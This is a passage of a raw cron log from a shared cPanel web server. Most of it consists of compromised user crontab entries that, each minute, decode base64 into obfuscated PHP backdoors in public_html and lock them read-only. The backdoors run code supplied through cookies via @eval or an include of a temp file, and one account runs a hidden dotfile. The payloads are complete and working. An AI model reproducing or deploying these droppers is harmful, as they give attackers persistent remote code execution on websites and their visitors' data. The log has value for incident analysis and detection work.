ik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 09:19:01 medusa CROND[28766]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 09:20:02 medusa CROND[21674]: (root) CMD (/usr/bin/test -e /etc/cpanel-dovecot-solrdisable || /usr/local/cpanel/3rdparty/scripts/cpanel_dovecot_solr_commit)
Apr 19 09:20:02 medusa CROND[21750]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Apr 19 09:20:02 medusa CROND[21751]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Apr 19 09:20:02 medusa CROND[21752]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Apr 19 09:20:02 medusa CROND[21753]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Apr 19 09:20:02 medusa CROND[21756]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Apr 19 09:20:02 medusa CROND[21760]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 09:20:02 medusa CROND[21761]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Apr 19 09:20:02 medusa CROND[21762]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Apr 19 09:20:02 medusa CROND[21773]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Apr 19 09:20:02 medusa CROND[21774]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Apr 19 09:20:02 medusa CROND[21776]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Apr 19 09:20:02 medusa CROND[21771]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux-xray-plugin-check.cronlock /usr/share/lvemanager-xray/plugins/install-xray-plugin.py --check > /dev/null 2>&1)
Apr 19 09:20:02 medusa CROND[21784]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 19 09:20:02 medusa CROND[21783]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Apr 19 09:20:02 medusa CROND[21786]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr 19 09:20:02 medusa CROND[21790]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 09:20:02 medusa CROND[21791]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Apr 19 09:20:02 medusa CROND[21793]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cagefs_exclude_users.cronlock /usr/share/cagefs/exclude_users_cleaner.py)
Apr 19 09:20:02 medusa CROND[21785]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Apr 19 09:20:02 medusa CROND[21788]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Apr 19 09:20:02 medusa CROND[21797]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 19 09:20:02 medusa CROND[21796]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Apr 19 09:20:02 medusa CROND[21798]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Apr 19 09:20:02 medusa CROND[21803]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 09:20:02 medusa CROND[21815]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 09:20:02 medusa CROND[21772]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr 19 09:20:02 medusa CROND[21777]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Apr 19 09:20:02 medusa CROND[21800]: (root) CMD (/nutscripts/control_exim.sh  >/dev/null 2>&1)
Apr 19 09:20:02 medusa CROND[21801]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Apr 19 09:21:02 medusa CROND[13816]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Apr 19 09:21:02 medusa CROND[13817]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Apr 19 09:21:02 medusa CROND[13818]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Apr 19 09:21:02 medusa CROND[13819]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 09:21:02 medusa CROND[13821]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 09:21:02 medusa CROND[13823]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Apr 19 09:21:02 medusa CROND[13824]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Apr 19 09:21:02 medusa CROND[13825]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Apr 19 09:21:02 medusa CROND[13827]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Apr 19 09:21:02 medusa CROND[13828]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Apr 19 09:21:02 medusa CROND[13831]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 09:21:02 medusa CROND[13835]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
